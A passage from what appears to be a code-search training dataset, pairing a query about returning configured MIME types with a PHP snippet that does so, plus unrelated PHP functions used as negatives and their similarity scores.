unset($this->options['MaxCount']);\n $this->resetRequestIds();\n }", "public function getEndpointFailures() {\n return $this->_endpointFailures;\n }", "public function viewAllReportedAccidents(Request $request)\n {\n //get all the emergency requests that are reported as accidents\n $accidents = Emergencies::where('type','=','accident')->latest()->paginate(10);\n if(!$accidents)\n {\n $request->session()->flash('error','No acciden data reported yet');\n return redirect()->back();\n }\n else\n {\n return view('nurses.emergencies.accidents.index', compact('accidents'));\n }\n }", "function get_request_summary($requestid)\n\t{\n\t\t$this->db->select('lic_file_downloads.*, resources.filename as filepath');\n\t\t$this->db->join('resources', 'resources.resource_id = lic_file_downloads.fileid');\t\t\n\t\t$this->db->where('requestid', $requestid);\n\t\treturn $this->db->get('lic_file_downloads')->result_array();\n\t}", "public function index(Request $request)\n {\n $query = RequestLog::orderByDesc('microtime')->with('responseLog');\n\n if ($request->url) {\n $query->where('url', 'like', '%' . $request->url . '%');\n }\n if ($request->source_ip) {\n $query->where('source_ip', $request->source_ip);\n }\n if ($request->user_id) {\n $query->where('user_id', 'like', '%' . $request->user_id . '%');\n }\n if ($request->http_status) {\n $http_status = $request->http_status;\n\n $query->whereHas('responseLog', function ($query) use ($http_status) {\n $query->where('http_status', $http_status);\n });\n }\n\n $requestLogs = $query->paginate(50);\n\n return new RequestCollection($requestLogs);\n }", "public function httpStatusDataProvider()\n {\n return [\n [\"badGateway\", 502, \"Bad gateway\"],\n [\"badRequest\", 400, \"Bad request\"],\n [\"conflict\", 409, \"Conflict\"],\n [\"expectationFailed\", 417, \"Expectation failed\"],\n [\"forbidden\", 403, \"Forbidden\"],\n [\"gatewayTimeout\", 504, \"Gateway timeout\"],\n [\"gone\", 410, \"Gone\"],\n [\"httpVersionNotSupported\", 505, \"Http version not supported\"],\n [\"internalServerError\", 500, \"Internal server error\"],\n [\"lengthRequired\", 411, \"Length required\"],\n [\"methodNotAllowed\", 405, \"Method not allowed\"],\n [\"notAcceptable\", 406, \"Not acceptable\"],\n [\"notFound\", 404, \"Not found\"]\n // TODO: Add the remaining status codes.\n ];\n }", "protected function cleanupTimeoutedRequests() {\n foreach ($this->requests as $handle) {\n if ($handle->timeout > 0 && (microtime(true) - $handle->timeStart) >= $handle->timeout) {\n $this->eventManager->notify('complete', array($this, $handle));\n $this->detach($handle);\n }\n }\n }", "public function getTotalCanceled();", "public static function testGetAllEN() {\n\n echo '<pre>'; var_dump(HTTPStatusCode::getAll()); echo '</pre>';\n }", "public function getListRequest()\n {\n $db = $this->dblocal;\n try\n {\n $stmt = $db->prepare(\"SELECT @rownum := @rownum + 1 AS urutan,t.* FROM m_request t, \n (SELECT @rownum := 0) r ORDER BY id_request ASC\");\n $stmt->execute();\n $stat[0] = true;\n $stat[1] = $stmt->fetchAll(PDO::FETCH_ASSOC);\n return $stat;\n }\n catch(PDOException $ex)\n {\n $stat[0] = false;\n $stat[1] = $ex->getMessage();\n return $stat;\n }\n }", "function printRequestStatus($params)\n{\n extract($params);\n global $ARRAY_REQUEST_STATUS;\n global $ARRAY_ACTIVITY_TYPE;\n if ($record['action_type'] != $ARRAY_ACTIVITY_TYPE[ACTIVITY_EDIT] || !isset($ARRAY_REQUEST_STATUS[$value])) {\n return \"\";\n } else {\n return $ARRAY_REQUEST_STATUS[$value];\n }\n}", "protected function get_views() {\n\t\t$current_status = isset( $_REQUEST['filter-status'] ) ? sanitize_text_field( $_REQUEST['filter-status'] ) : '';\n\t\t$statuses = _wp_privacy_statuses();\n\t\t$views = array();\n\t\t$counts = $this->get_request_counts();\n\t\t$total_requests = absint( array_sum( (array) $counts ) );\n\n\t\t// Normalized admin URL.\n\t\t$admin_url = $this->get_admin_url();\n\n\t\t$current_link_attributes = empty( $current_status ) ? ' class=\"current\" aria-current=\"page\"' : '';\n\t\t$status_label = sprintf(\n\t\t\t/* translators: %s: Number of requests. */\n\t\t\t_nx(\n\t\t\t\t'All <span class=\"count\">(%s)</span>',\n\t\t\t\t'All <span class=\"count\">(%s)</span>',\n\t\t\t\t$total_requests,\n\t\t\t\t'requests'\n\t\t\t),\n\t\t\tnumber_format_i18n( $total_requests )\n\t\t);\n\n\t\t$views['all'] = sprintf(\n\t\t\t'<a href=\"%s\"%s>%s</a>',\n\t\t\tesc_url( $admin_url ),\n\t\t\t$current_link_attributes,\n\t\t\t$status_label\n\t\t);\n\n\t\tforeach ( $statuses as $status => $label ) {\n\t\t\t$post_status = get_post_status_object( $status );\n\t\t\tif ( ! $post_status ) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t$current_link_attributes = $status === $current_status ? ' class=\"current\" aria-current=\"page\"' : '';\n\t\t\t$total_status_requests = absint( $counts->{$status} );\n\n\t\t\tif ( ! $total_status_requests ) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t$status_label = sprintf(\n\t\t\t\ttranslate_nooped_plural( $post_status->label_count, $total_status_requests ),\n\t\t\t\tnumber_format_i18n( $total_status_requests )\n\t\t\t);\n\n\t\t\t$status_link = add_query_arg( 'filter-status', $status, $admin_url );\n\n\t\t\t$views[ $status ] = sprintf(\n\t\t\t\t'<a href=\"%s\"%s>%s</a>',\n\t\t\t\tesc_url( $status_link ),\n\t\t\t\t$current_link_attributes,\n\t\t\t\t$status_label\n\t\t\t);\n\t\t}\n\n\t\treturn $views;\n\t}", "protected function prepareCancel()\n {\n include $this->env;\n $this->options['Action'] = 'CancelReportRequests';\n if (isset($THROTTLE_LIMIT_REPORTREQUESTLIST)) {\n $this->throttleLimit = $THROTTLE_LIMIT_REPORTREQUESTLIST;\n }\n if (isset($THROTTLE_TIME_REPORTREQUESTLIST)) {\n $this->throttleTime = $THROTTLE_TIME_REPORTREQUESTLIST;\n }\n $this->throttleGroup = 'CancelReportRequests';\n unset($this->options['MaxCount']);\n unset($this->options['NextToken']);\n }", "public function process_queue()\r\n {\r\n error_reporting(0);\r\n\r\n // TODO: Prefill information is stored in this array. It's nasty, but it works for now.\r\n // This will need to be cleaned up somehow, later.\r\n $this->prefillRequests = array();\r\n\r\n $this->parseResponses();\r\n\r\n // Array of keys that need to be included in the response.\r\n $include = array('request', 'class', 'hit');\r\n $responseQuery = [];\r\n foreach($this->messageQuery as $response) {\r\n // Switch all keys to lower case to prevent possible case errors.\r\n $responseArr = array_change_key_case($response, CASE_LOWER);\r\n // returns an array that intersects with the keys from the $include array\r\n $responseQuery[] = array_intersect_key($responseArr, array_flip($include));\r\n }\r\n\r\n $requestSummary = $this->ArchiveResponse->ArchiveRequest->Request->getSummary(\r\n $this->CurrentAgency->agencyId,\r\n $this->CurrentDevice->agencyDeviceId);\r\n\r\n $summary = array(\r\n 'requests' => $requestSummary,\r\n 'response' => $responseQuery,\r\n 'prefill' => $this->prefillRequests\r\n );\r\n $this->set('summary', $summary);\r\n }", "function remove_timing_for_bawpvc( $timings ) {\n return array( 'all' => '' );\n}", "public function headAction()\n {\n Extra_ErrorREST::setInvalidHTTPMethod($this->getResponse());\n }", "function get_number_of_requests() {\n return CourseRequestManager::count_course_requests(COURSE_REQUEST_REJECTED);\n}", "function mfcs_request_statistics_render_request_status($counts, $status_options) {\n if (!is_array($counts) || empty($counts)) {\n cf_error::invalid_string('counts');\n return FALSE;\n }\n\n if (!is_array($status_options) || empty($status_options)) {\n cf_error::invalid_string('status_options');\n return FALSE;\n }\n\n global $base_path;\n\n $user = cf_current_user();\n\n // render chart\n $options = array(\n 'total' => $counts['main']['total'],\n 'rows' => array(),\n 'text_title' => 'Requests by Status',\n 'text_description' => 'A bar chart representing the number of requests based on their current status.',\n 'text_x' => 'Requests',\n 'text_y' => 'Status',\n 'chart_height' => 220,\n 'line_start_x' => 120,\n 'line_start_y' => 25,\n 'name' => 'status',\n );\n\n $options['rows']['locked'] = array(\n 'total' => $counts['status']['locked'],\n 'text' => $status_options[MFCS_REQUEST_STATUS_LOCKED],\n 'label' => $status_options[MFCS_REQUEST_STATUS_LOCKED],\n 'color' => '#c4080e',\n );\n\n $options['rows']['unlocked'] = array(\n 'total' => $counts['status']['unlocked'],\n 'text' => $status_options[MFCS_REQUEST_STATUS_UNLOCKED],\n 'label' => $status_options[MFCS_REQUEST_STATUS_UNLOCKED],\n 'color' => '#08c4bf',\n );\n\n $options['rows']['accepted'] = array(\n 'total' => $counts['status']['accepted'],\n 'text' => $status_options[MFCS_REQUEST_STATUS_CLOSED_ACCEPTED],\n 'label' => $status_options[MFCS_REQUEST_STATUS_CLOSED_ACCEPTED],\n 'color' => '#39c408',\n );\n\n $options['rows']['denied'] = array(\n 'total' => $counts['status']['denied'],\n 'text' => $status_options[MFCS_REQUEST_STATUS_CLOSED_DENIED],\n 'label' => $status_options[MFCS_REQUEST_STATUS_CLOSED_DENIED],\n 'color' => '#9208c4',\n );\n\n $options['rows']['unavailable'] = array(\n 'total' => $counts['status']['unavailable'],\n 'text' => $status_options[MFCS_REQUEST_STATUS_CLOSED_UNAVAILABLE],\n 'label' => $status_options[MFCS_REQUEST_STATUS_CLOSED_UNAVAILABLE],\n 'color' => '#b6c408',\n );\n\n $options['rows']['due_to_lock'] = array(\n 'total' => $counts['status']['due_to_lock'],\n 'text' => $status_options[MFCS_REQUEST_STATUS_CLOSED_DUE_TO_LOCK],\n 'label' => $status_options[MFCS_REQUEST_STATUS_CLOSED_UNAVAILABLE],\n 'label_2' => '(due to lock)',\n 'color' => '#081fc4',\n );\n\n $options['rows']['cancelled'] = array(\n 'total' => $counts['status']['cancelled'],\n 'text' => $status_options[MFCS_REQUEST_STATUS_CANCELLED],\n 'label' => $status_options[MFCS_REQUEST_STATUS_CANCELLED],\n 'color' => '#c47508',\n );\n\n $options['rows']['accepted_cancelled'] = array(\n 'total' => $counts['status']['accepted_cancelled'],\n 'text' => $status_options[MFCS_REQUEST_STATUS_CLOSED_ACCEPTED_CANCELLED],\n 'label' => $status_options[MFCS_REQUEST_STATUS_CLOSED_ACCEPTED_CANCELLED],\n 'color' => '#a6c408',\n );\n\n\n $chart_markup = mfcs_request_statistics_render_chart($options);\n\n $width = 450;\n $height = 282;\n $svg_options = ' version=\"1.1\" viewBox=\"0 0 ' . $options['chart_width'] . ' ' . $options['chart_height'] . '\" preserveAspectRatio=\"xMaxYMax meet\" xmlns=\"//www.w3.org/2000/svg\"';\n\n // render the markup\n $markup = '<div class=\"statistics-block statistics-block-request_step\">';\n\n $markup .= '<div class=\"statistics-block-text\">';\n $markup .= '<div class=\"statistics-block-text-item\"><em>' . $counts['status']['locked'] . '</em> <strong>' . $status_options[MFCS_REQUEST_STATUS_LOCKED] . '</strong> (<em>' . $options['rows']['locked']['percent'] . '%</em> of requests). ' . '</div>';\n $markup .= '<div class=\"statistics-block-text-item\"><em>' . $counts['status']['unlocked'] . '</em> <strong>' . $status_options[MFCS_REQUEST_STATUS_UNLOCKED] . '</strong> (<em>' . $options['rows']['unlocked']['percent'] . '%</em> of requests). ' . '</div>';\n $markup .= '<div class=\"statistics-block-text-item\"><em>' . $counts['status']['accepted'] . '</em> <strong>' . $status_options[MFCS_REQUEST_STATUS_CLOSED_ACCEPTED] . '</strong> (<em>' . $options['rows']['accepted']['percent'] . '%</em> of requests). ' . '</div>';\n $markup .= '<div class=\"statistics-block-text-item\"><em>' . $counts['status']['denied'] . '</em> <strong>' . $status_options[MFCS_REQUEST_STATUS_CLOSED_DENIED] . '</strong> (<em>' . $options['rows']['denied']['percent'] . '%</em> of requests). ' . '</div>';\n $markup .= '<div class=\"statistics-block-text-item\"><em>' . $counts['status']['unavailable'] . '</em> <strong>' . $status_options[MFCS_REQUEST_STATUS_CLOSED_UNAVAILABLE] . '</strong> (<em>' . $options['rows']['unavailable']['percent'] . '%</em> of requests). ' . '</div>';\n $markup .= '<div class=\"statistics-block-text-item\"><em>' . $counts['status']['due_to_lock'] . '</em> <strong>' . $status_options[MFCS_REQUEST_STATUS_CLOSED_DUE_TO_LOCK] . '</strong> (<em>' . $options['rows']['due_to_lock']['percent'] . '%</em> of requests). ' . '</div>';\n $markup .= '<div class=\"statistics-block-text-item\"><em>' . $counts['status']['cancelled'] . '</em> <strong>' . $status_options[MFCS_REQUEST_STATUS_CANCELLED] . '</strong> (<em>' . $options['rows']['cancelled']['percent'] . '%</em> of requests). ' . '</div>';\n $markup .= '<div class=\"statistics-block-text-item\"><em>' . $counts['status']['accepted_cancelled'] . '</em> <strong>' . $status_options[MFCS_REQUEST_STATUS_CLOSED_ACCEPTED_CANCELLED] . '</strong> (<em>' . $options['rows']['accepted_cancelled']['percent'] . '%</em> of requests). ' . '</div>';\n $markup .= '</div>'; // statistics-block-text\n\n $markup .= '<div id=\"' . 'mfcs-statistics-' . $options['name'] . '-wrapper\" class=\"statistics-block-chart\">';\n $markup .= ' <svg id=\"' . 'mfcs-statistics-' . $options['name'] . '\" class=\"statistics-block-chart-request_status\" title=\"Requests by Status\" width=\"' . $width . '\" height=\"' . $height . '\"' . $svg_options . '>' . $chart_markup . '</svg>';\n $markup .= '</div>'; // statistics-block-chart\n\n $markup .= '</div>'; // statistics-block\n\n return $markup;\n}", "protected function _overview() {\n return Helper::redirectTo('/errors/403');\n }", "public function __toString() {\n return sprintf('HTTP/1.1 %d %s', $this->getStatus(), $this->getDescription());\n }", "function printAppealList(array $criteria = array(), $limit = \"\", $orderby = \"\", $timestamp = 0) {\r\n \r\n $currentUser = getCurrentUser();\r\n $secure = TRUE; //Setting up for eventual full migration to https \r\n \r\n // get rows from DB. Throws UTRSDatabaseException\r\n $query = queryAppeals($criteria, $limit, $orderby, $timestamp);\r\n \r\n $requests = \"<table class=\\\"appealList\\\">\";\r\n $foundone = false;\r\n\r\n //Begin formatting the unblock requests\r\n while (($data = $query->fetch(PDO::FETCH_ASSOC)) !== false) {\r\n $foundone = true;\r\n\r\n $appeal = Appeal::newTrusted($data);\r\n \r\n $requests .= \"\\t<tr>\\n\";\r\n $requests .= \"\\t\\t<td>\" . $appeal->getID() . \".</td>\\n\";\r\n $requests .= \"\\t\\t<td><a style=\\\"color:green\\\" href='appeal.php?id=\" . $appeal->getID() . \"'>Zoom</a></td>\\n\";\r\n $requests .= \"\\t\\t<td><a style=\\\"color:blue\\\" href='\" . getWikiLink(\"user:\".$appeal->getCommonName(), $secure) . \"' target='_NEW'>\" . $appeal->getCommonName() . \"</a></td>\\n\";\r\n if ($timestamp == 1) {\r\n $requests .= \"\\t\\t<td>\" . $data['timestamp'] . \"</td>\\n\";\r\n }\r\n $requests .= \"\\t</tr>\\n\";\r\n }\r\n\r\n $query->closeCursor();\r\n\r\n if (!$foundone) {\r\n return \"<b>No unblock requests in queue</b>\";\r\n }\r\n\r\n return $requests . \"</table>\";\r\n}", "public function emptyErrorBag() {\n\t\t$this->errorBag = [];\n\t}", "function abort() {\n $this->aborted = TRUE;\n }", "function wp_debug_backtrace_summary($ignore_class = \\null, $skip_frames = 0, $pretty = \\true)\n {\n }", "public function tracker_abort(){\n\t\t$this->env_set('tracker:event', false);\n\t\t}", "public function get_trader_urgent_requests($acc_number)\n\t{\n\t return $this->db->select('request_cid,request_acc_number,request_summ,request_summ_origin,request_quote,request_id,request_comment,request_type,request_wallet')\n\t\t->from('pamm_requests')\n\t\t->where('request_status', '0')\n\t\t->where('request_type', '7')\n\t\t->where('request_urgent', '1')\n\t\t->where('request_acc_number', $acc_number)\n\t\t->order_by('request_type', 'ASC')\t\n\t\t->get()->result();\n\n\t}", "public function idleCapacityZero(): void\n {\n config(['urlhub.hash_length' => 0]);\n\n $response = $this->post(route('su_create'), ['long_url' => 'https://laravel.com']);\n\n $response\n ->assertRedirectToRoute('home')\n ->assertSessionHas('flash_error');\n }", "public function testGetStatusMessagesFromStatusSummary($status, $reasonPhrase)\n {\n $response = new Response(array('status' => $status));\n $this->assertEquals($reasonPhrase, $response->getStatusReasonPhrase());\n }", "public function validRequests()\n {\n return [\n [\n HttpRequestMethod::GET,\n 'https://postman-echo.com/get?foo1=bar1&foo2=bar2',\n '',\n []\n ],\n [\n HttpRequestMethod::POST,\n 'https://postman-echo.com/post',\n 'This is expected to be sent back as part of response body.',\n [\n 'Content-type' => 'text/html; charset=UTF-8'\n ]\n ],\n [\n HttpRequestMethod::DELETE,\n 'https://postman-echo.com/delete',\n '',\n []\n ],\n ];\n }", "function printRecentClosed() {\r\n $db = connectToDB();\r\n \r\n $currentUser = getCurrentUser();\r\n $secure = TRUE;\r\n \r\n /*\r\n $query = \"SELECT a.appealID, a.wikiAccountName, a.ip, l.timestamp\";\r\n $query .= \" FROM appeal a,\";\r\n $query .= \" (SELECT appealID, MAX(timestamp) as timestamp\";\r\n $query .= \" FROM actionAppealLog\";\r\n $query .= \" WHERE comment = 'Closed'\";\r\n $query .= \" GROUP BY appealID) l\";\r\n $query .= \" WHERE l.appealID = a.appealID\";\r\n $query .= \" AND a.status = 'CLOSED'\";\r\n $query .= \" ORDER BY l.timestamp DESC LIMIT 0,5\";\r\n */\r\n \r\n $query = $db->query(\"\r\n SELECT \" . Appeal::getColumnsForSelect('a') . \", c.timestamp\r\n FROM appeal AS a, comment AS c\r\n WHERE a.lastLogId = c.commentID\r\n AND c.comment = 'Closed'\r\n ORDER BY c.timestamp DESC LIMIT 0,5;\");\r\n\r\n $requests = \"<table class=\\\"appealList\\\">\";\r\n $foundone = false;\r\n\r\n //Begin formatting the unblock requests\r\n while (($data = $query->fetch(PDO::FETCH_ASSOC)) !== false) {\r\n $foundone = true;\r\n \r\n $appeal = Appeal::newTrusted($data);\r\n \r\n $requests .= \"\\t<tr>\\n\";\r\n $requests .= \"\\t\\t<td>\" . $appeal->getID() . \".</td>\\n\";\r\n $requests .= \"\\t\\t<td><a style=\\\"color:green\\\" href='appeal.php?id=\" . $appeal->getID() . \"'>Zoom</a></td>\\n\";\r\n $requests .= \"\\t\\t<td><a style=\\\"color:blue\\\" href='\" . getWikiLink(\"user:\" . $appeal->getCommonName(), $secure) . \"' target='_NEW'>\" . $appeal->getCommonName() . \"</a></td>\\n\";\r\n $requests .= \"\\t\\t<td>\" . $data['timestamp'] . \"</td>\\n\";\r\n $requests .= \"\\t</tr>\\n\";\r\n }\r\n\r\n $query->closeCursor();\r\n\r\n if (!$foundone) {\r\n return \"<b>No unblock requests in queue</b>\";\r\n }\r\n\r\n return $requests . \"</table>\";\r\n}", "public function index(Request $request)\n {\n $request->attributes->set('sort', ['is_completed' => 'asc']);\n\n $serviceRequests = $this->genPagination($request, $this->serviceRequestRepository);\n\n return view('booking::service-requests.index', compact('serviceRequests'));\n }", "public function getEveryStatus()\n {\n static $status;\n\n if ($status) {\n return $status;\n }\n\n $status = array(\n 'U' => $this->_('Valid from date unknown'),\n 'W' => $this->_('Valid from date in the future'),\n 'O' => $this->_('Open - can be answered now'),\n 'A' => $this->_('Answered'),\n 'M' => $this->_('Missed deadline'),\n 'D' => $this->_('Token does not exist'),\n );\n\n return $status;\n }", "public function indexPrevious()\n {\n $currentUser = JWTAuth::parseToken()->authenticate();\n \n $createdTasks = [];\n foreach($currentUser->createdTasks as $createdTask){\n if ($this->compareTime($createdTask) < 0){\n array_push($createdTasks, \n array('task' => $createdTask,\n 'assets' => $this->getAssets($createdTask),\n 'locations' => $createdTask->locations));\n }\n }\n return response()->json($createdTasks);\n }", "public function __sleep()\n {\n return array(\n 'isFiltered',\n 'filterReason',\n 'uri',\n 'response',\n 'body',\n 'depthFound',\n 'discoveredLinks'\n );\n }", "public function abort() {\n return UPS_SUCCESS;\n }", "protected function getHttpResponseCodes() {\n return array (\n 100 => 'Continue',\n 101 => 'Switching Protocols',\n 102 => 'Processing',\n 200 => 'OK',\n 201 => 'Created',\n 202 => 'Accepted',\n 203 => 'Non-Authoritative Information',\n 204 => 'No Content',\n 205 => 'Reset Content',\n 206 => 'Partial Content',\n 207 => 'Multi-Status',\n 300 => 'Multiple Choices',\n 301 => 'Moved Permanently',\n 302 => 'Found',\n 303 => 'See Other',\n 304 => 'Not Modified',\n 305 => 'Use Proxy',\n 306 => 'Switch Proxy',\n 307 => 'Temporary Redirect',\n 400 => 'Bad Request',\n 401 => 'Unauthorized',\n 402 => 'Payment Required',\n 403 => 'Forbidden',\n 404 => 'Not Found',\n 405 => 'Method Not Allowed',\n 406 => 'Not Acceptable',\n 407 => 'Proxy Authentication Required',\n 408 => 'Request Timeout',\n 409 => 'Conflict',\n 410 => 'Gone',\n 411 => 'Length Required',\n 412 => 'Precondition Failed',\n 413 => 'Request Entity Too Large',\n 414 => 'Request-URI Too Long',\n 415 => 'Unsupported Media Type',\n 416 => 'Requested Range Not Satisfiable',\n 417 => 'Expectation Failed',\n 418 => 'I\\'m a teapot',\n 422 => 'Unprocessable Entity',\n 423 => 'Locked',\n 424 => 'Failed Dependency',\n 425 => 'Unordered Collection',\n 426 => 'Upgrade Required',\n 449 => 'Retry With',\n 450 => 'Blocked by Windows Parental Controls',\n 500 => 'Internal Server Error',\n 501 => 'Not Implemented',\n 502 => 'Bad Gateway',\n 503 => 'Service Unavailable',\n 504 => 'Gateway Timeout',\n 505 => 'HTTP Version Not Supported',\n 506 => 'Variant Also Negotiates',\n 507 => 'Insufficient Storage',\n 509 => 'Bandwidth Limit Exceeded',\n 510 => 'Not Extended'\n );\n }", "public function getFailedScenarios();", "public function testOrdersAllResponseStatus()\n\t{\n\t\t$this->client->request('GET', \"/orders/$this->from/$this->to\");\n\t\t$this->assertSame(Response::HTTP_OK, $this->client->getResponse()->getStatusCode());\n\t\n\t\t$this->client->request('GET', \"/orders/$this->wrongFrom/$this->wrongTo\");\n\t\t$this->assertSame(Response::HTTP_NOT_FOUND, $this->client->getResponse()->getStatusCode());\n\t}", "public function violation_listSec()\r\n\t{\r\n\t\t$status_id = 1;//1 means pending pa siya\r\n\t\t$sql = \"SELECT *\r\n\t\t\t\tFROM tbl_item i\r\n\t\t\t\tINNER JOIN tbl_violations v \r\n\t\t\t\tON i.item_id = v.vehicle_id\r\n\t\t\t\tWHERE v.status = ?\r\n\t\t\";\r\n\t\t$result = $this->getRows($sql, [$status_id]);\r\n\r\n\t\treturn $result;\r\n\t}", "public function getRequestsTable()\n {\n return Mage::getResourceModel('mp_debug/requestInfo')->getMainTable();\n }", "public function getUnresolvedStatusDependencies(): array\n {\n return $this->unresolved_status_dependencies;\n }", "private function set_zruth_error_list() {\n return array('1' => 'unknown userId',\n '3' => 'amount is not the full amount',\n '1001' => 'already on loan by user',\n '1002' => 'already reserved by user',\n '1003' => 'no copies available for reservation',\n '1004' => 'ordering not allowed for this user',\n '1005' => 'loan not allowed for this user category',\n '1006' => 'loan not allowed, user too young',\n '1007' => 'unspecified error, order not possible',\n '1008' => 'system error',\n '1010' => 'system error',\n '1030' => 'rejected',\n '1020' => 'booking, not cancelled',\n '1030' => 'rejected',\n '1031' => 'reserved',\n '1032' => 'booked',\n '1033' => 'copy reserved',\n '1034' => 'user is blocked',\n '1035' => 'copy not on loan by user',\n '1036' => 'copy not on loan',\n '1037' => 'copy does not exist',\n '1038' => 'ILL, not renewable',\n '1050' => 'ILL, not found',\n '1051' => 'system error',\n '1052' => 'ILL, not cancelled',\n '1101' => 'no agencyId supplied',\n '1102' => 'unknown agencyId',\n '1103' => 'unknown userId',\n '1104' => 'wrong pin code',\n '1123' => 'no itemId, titlePartNo or bookingId supplied',\n '1110' => 'overbooking',\n '1111' => 'counter does not exist',\n '1112' => 'bookingStartDate must be before bookingEndDate',\n '1113' => 'bookingTotal Count must be 1 or more',\n '1114' => 'normal period of booking exceeded',\n '1115' => 'undefined error',\n '1116' => 'number of fetched copies exceeds number of ordered copies',\n '1120' => 'undefined error',\n '1135' => 'undefined error');\n }", "protected function displayRequestErrors($response)\n {\n if ($response->getStatusCode() === 401) {\n Helpers::abort('Please authenticate with Vapor using the \"login\" command.');\n }\n\n if ($response->getStatusCode() === 402) {\n Helpers::line('');\n Helpers::danger('A valid subscription is required to perform this action.');\n Helpers::line('');\n\n if ($content = $response->getBody()->getContents()) {\n Helpers::line(\" - {$content}\");\n }\n\n Helpers::line('');\n\n exit(1);\n }\n\n if ($response->getStatusCode() === 403) {\n Helpers::abort('You are not authorized to perform this action.');\n }\n\n if ($response->getStatusCode() === 404) {\n Helpers::abort('The requested resource does not exist. Please ensure you are accessing the CLI with the correct team using the \"team:current\" command.');\n }\n\n if ($response->getStatusCode() === 409) {\n Helpers::abort('This operation is already in progress. Please try again later.');\n }\n\n if ($response->getStatusCode() === 429) {\n Helpers::abort('You are attempting this action too often.');\n }\n }" ]
[ "0.5053492", "0.49973387", "0.4973631", "0.47482452", "0.47321114", "0.47072265", "0.4687579", "0.4658795", "0.46562237", "0.46489137", "0.46448314", "0.46394044", "0.46201023", "0.46197483", "0.46164912", "0.45974174", "0.45974174", "0.45554206", "0.454678", "0.45338333", "0.45295396", "0.452725", "0.45220116", "0.45214328", "0.45054314", "0.4500907", "0.4498524", "0.4498354", "0.44813207", "0.44810656", "0.44759727", "0.44742817", "0.447247", "0.4471374", "0.44625205", "0.4443398", "0.4436217", "0.44177034", "0.44085422", "0.44079417", "0.43962267", "0.4395028", "0.4386601", "0.4379886", "0.43700218", "0.4365557", "0.4364981", "0.43621382", "0.43551272", "0.43515587", "0.43405315", "0.43386987", "0.4321387", "0.43114775", "0.43068442", "0.4298565", "0.4293247", "0.42895982", "0.42892617", "0.42856628", "0.42848587", "0.42830384", "0.42796794", "0.42724627", "0.4271237", "0.4262587", "0.42520845", "0.42488313", "0.42412394", "0.42381617", "0.42366585", "0.42347702", "0.42291138", "0.4229061", "0.42275873", "0.42253467", "0.42198077", "0.4217865", "0.421347", "0.42133272", "0.42125612", "0.42099386", "0.42089248", "0.42080784", "0.4207937", "0.4205468", "0.4204104", "0.42032474", "0.41999978", "0.41928792", "0.41848975", "0.41786206", "0.4178214", "0.4176505", "0.41727355", "0.41719925", "0.417065", "0.41694492", "0.41693494", "0.41660035" ]
0.692993
0
Returns the list of configured mime types.
public static function getMimeTypes() { return MHTTPD::$config['Mimes']; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getMimetypes()\n\t{\n\t\treturn $this->mimeTypes;\n\t}", "public function getMimeTypes() {\n return $this->mimeTypes;\n }", "public static function getAllMimeTypes():array;", "public function getAvailableMimeTypes()\n {\n return $this->availableMimeTypes;\n }", "static public function getAllowedMimeTypes()\n\t{\n\t\t$result = [];\n\t\t\n\t\tforeach(DB::table('dx_files_headers')->select('content_type')->get() as $row)\n\t\t{\n\t\t\t$result[] = $row->content_type;\n\t\t}\n\t\t\n\t\treturn $result;\n\t}", "function mimetypes()\n {\n return json_decode(file_get_contents(__DIR__.'/../../resources/data/mimetypes.json'), true);\n }", "public static function getCustomMimeTypeList()\n {\n # Returns the system MIME type mapping of extensions to MIME types.\n $out = array();\n $file = fopen( Configuration::mimeTypeList, 'r' );\n while ( ( $line = fgets( $file ) ) !== false ) {\n $line = trim( preg_replace( '/#.*/', '', $line ) );\n if ( ! $line )\n continue;\n $parts = preg_split( '/\\s+/', $line );\n if ( count( $parts ) == 1 )\n continue;\n $type = array_shift( $parts );\n foreach( $parts as $part )\n $out[$part] = $type;\n }\n fclose( $file );\n return $out;\n }", "public function getSupportedMimes()\n {\n if ($this->mimes) {\n return $this->mimes;\n }\n\n $response = $this->get(\n 'mime-types',\n $this->getGuzzleOptions([\n 'headers' => [\n 'Accept' => 'application/json',\n ],\n ])\n );\n\n return $this->mimes = json_decode($response->getBody(), true);\n }", "public function provider_mime_type() {\n\t\treturn array(\n\t\t\tarray( 'not-found.txt', false ),\n\t\t\tarray( 'empty.txt', version_compare( PHP_VERSION, '7.4', '>=' ) ? 'application/x-empty' : 'inode/x-empty' ),\n\t\t\tarray( 'file.aac', 'audio/aac' ),\n\t\t\tarray( 'file.css', 'text/css' ),\n\t\t\tarray( 'file.csv', 'text/plain' ),\n\t\t\tarray( 'file.flac', 'audio/flac' ),\n\t\t\tarray( 'file.gif', 'image/gif' ),\n\t\t\tarray( 'file.htm', 'text/html' ),\n\t\t\tarray( 'file.html', 'text/html' ),\n\t\t\tarray( 'file.jpe', 'image/jpeg' ),\n\t\t\tarray( 'file.jpeg', 'image/jpeg' ),\n\t\t\tarray( 'file.jpg', 'image/jpeg' ),\n\t\t\tarray( 'file.js', 'application/javascript' ),\n\t\t\tarray( 'file.m4a', 'audio/m4a' ),\n\t\t\tarray( 'file.mp3', 'audio/mpeg' ),\n\t\t\tarray( 'file.png', 'image/png' ),\n\t\t\tarray( 'file.svg', 'image/svg+xml' ),\n\t\t\tarray( 'file.txt', 'text/plain' ),\n\t\t\tarray( 'file.wav', 'audio/wav' ),\n\t\t\tarray( 'file.xml', 'application/xml' ),\n\t\t\tarray( 'no-extension-text', 'text/plain' ),\n\t\t\tarray( 'no-extension-media', 'application/octet-stream' ),\n\t\t\tarray( 'upper-case.JPG', 'image/jpeg' ),\n\t\t);\n\t}", "public function getMimetypeMapping()\n {\n if (isset($this->raw->mimetypes)) {\n return (array) $this->raw->mimetypes;\n }\n\n return array();\n }", "public static function &getMimes()\n {\n static $_mimes;\n\n if (empty($_mimes)) {\n $_mimes = file_exists(__DIR__ . '/../Config/Mimes.php')\n ? include __DIR__ . '/../Config/Mimes.php'\n : array();\n\n if (file_exists(__DIR__ . '/../Config/Mimes.php')) {\n $_mimes = array_merge($_mimes, include __DIR__ . '/../Config/Mimes.php');\n }\n }\n\n return $_mimes;\n }", "public function getSupportedMimeTypes()\n {\n return array_keys($this->convertersByMimeType);\n }", "public function getImageMimeTypes()\n {\n return array(\n 'image/jpeg',\n 'image/jpg',\n 'image/jp_',\n 'application/jpg',\n 'application/x-jpg',\n 'image/pjpeg',\n 'image/pipeg',\n 'image/vnd.swiftview-jpeg',\n 'image/x-xbitmap',\n 'image/gif',\n 'image/x-xbitmap',\n 'image/gi_',\n 